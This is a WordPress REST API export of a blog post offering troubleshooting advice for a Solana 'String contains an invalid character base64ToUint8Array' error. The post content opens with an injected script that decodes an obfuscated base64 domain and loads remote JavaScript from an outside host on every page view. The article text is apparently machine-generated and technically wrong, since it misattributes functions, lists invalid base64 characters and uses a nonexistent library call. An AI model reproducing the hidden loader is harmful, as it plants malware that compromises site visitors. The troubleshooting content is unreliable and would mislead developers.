{"id":1297,"date":"2025-02-08T19:07:39","date_gmt":"2025-02-08T19:07:39","guid":{"rendered":"https:\/\/hccmena.com\/?p=1297"},"modified":"2025-02-08T19:07:39","modified_gmt":"2025-02-08T19:07:39","slug":"solana-uncaught-runtime-errors-error-string-contains-an-invalid-character-base64touint8array","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/solana-uncaught-runtime-errors-error-string-contains-an-invalid-character-base64touint8array\/","title":{"rendered":"Solana: Uncaught runtime errors: ERROR String contains an invalid character base64ToUint8Array"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=0debf600\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>I&#8217;d be happy to help you troubleshoot the issue with Solana&#8217;s runtime errors. However, please note that since this is a GitHub repository, I&#8217;ll provide some guidance on how to approach the problem.<\/p>\n<\/p>\n<p><strong>Error Message Analysis<\/strong><\/p>\n<\/p>\n<p>The error message <code>ERROR String contains an invalid character<\/code> indicates that there&#8217;s an issue with a string literal in your codebase. Specifically, it seems like you&#8217;re trying to create a base64 encoded array using the <code>base64ToUint8Array()<\/code> function from Solana.<\/p>\n<\/p>\n<p>In this case, the problem lies in the fact that the <code>base64ToUint8Array()<\/code> function expects a valid base64-encoded byte string as input. However, your code is attempting to pass it an invalid character string.<\/p>\n<\/p>\n<p><strong>Possible Cause<\/strong><\/p>\n<\/p>\n<p>The possible cause of this error could be due to one or more of the following reasons:<\/p>\n<\/p>\n<ul>\n<li><strong>Invalid Base64 Encoding<\/strong>: Ensure that you&#8217;re correctly encoding and decoding strings using base64. You can use online base64 validators to check if your inputs are valid.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Malformed String Input<\/strong>: Verify that your input string is properly formatted, with no leading or trailing whitespace, and no special characters other than those allowed in a base64-encoded byte array (e.g., <code>+\/--=<\/code>).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Invalid Character Encoding<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jz3tEsCcie0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>: In Solana&#8217;s runtime, the character set used for encoding and decoding must be the same as the one used for input\/output operations. Make sure that your code is correctly setting the character encoding.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Troubleshooting Steps<\/strong><\/p>\n<\/p>\n<p>To resolve this issue, try the following:<\/p>\n<\/p>\n<ul>\n<li><strong>Check Base64 Encoding<\/strong>: Use online base64 validators to verify if your input string is correctly encoded.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Validate Input String<\/strong>\n<p><img decoding=\"async\" alt=\"Solana: Uncaught runtime errors: ERROR String contains an invalid character base64ToUint8Array\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/88ca2708.png\"><\/p>\n<p>: Ensure that your input string has no leading or trailing whitespace and only contains allowed characters (e.g., letters, numbers, special characters).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Verify Character Encoding<\/strong>: Confirm that the character encoding used for input\/output operations matches Solana&#8217;s runtime.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Test with a Sample String<\/strong>: Try creating a sample base64-encoded byte array using <code>base64ToUint8Array()<\/code> and pass it to your code to see if the issue persists.<\/li>\n<\/ul>\n<\/p>\n<p><strong>GitHub Repository<\/strong><\/p>\n<\/p>\n<p>Here&#8217;s an example of how you can modify your frontend and backend code to fix this error:<\/p>\n<\/p>\n<p><pre><code><\/p><p>\/\/ In frontend.js<\/p><p>\n<\/p><p>const base64 = require('base64-js');<\/p><p>\n<\/p><p>\n<\/p><p>function createBase64ByteString(input) {<\/p><p>\n<\/p><p>  const encoded = base64.stringify(input);<\/p><p>\n<\/p><p>  return encoded;<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ In backend.js<\/p><p>\n<\/p><p>async function main() {<\/p><p>\n<\/p><p>  try {<\/p><p>\n<\/p><p>    \/\/ Create a sample input string using a valid character set (e.g., \"hello\")<\/p><p>\n<\/p><p>    const inputString = 'hello';<\/p><p>\n<\/p><p>    <\/p><p>\n<\/p><p>    \/\/ Use the createBase64ByteString function to encode the input string as a base64-encoded byte array<\/p><p>\n<\/p><p>    const base64EncodedArray = createBase64ByteString(inputString);<\/p><p>\n<\/p><p>    console.log(base64EncodedArray);<\/p><p>\n<\/p><p>  } catch (error) {<\/p><p>\n<\/p><p>    console.error(error);<\/p><p>\n<\/p><p>  }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p>By following these troubleshooting steps and using online tools for validation, you should be able to resolve the issue with Solana&#8217;s runtime errors. If the problem persists after attempting these fixes, please provide more details about your codebase and error messages for further assistance.<\/p>\n<\/p>\n<p><strong>Note<\/strong>: Since this is a GitHub repository, make sure to commit any changes made to fix the issue and push the updated codebase to your repository.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;d be happy to help you troubleshoot the issue with Solana&#8217;s runtime errors. However, please note that since this is a GitHub repository, I&#8217;ll provide some guidance on how to approach the problem. Error Message Analysis The error message ERROR String contains an invalid character indicates that there&#8217;s an issue with a string literal in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1297"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1297"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1297\/revisions"}],"predecessor-version":[{"id":1298,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1297\/revisions\/1298"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}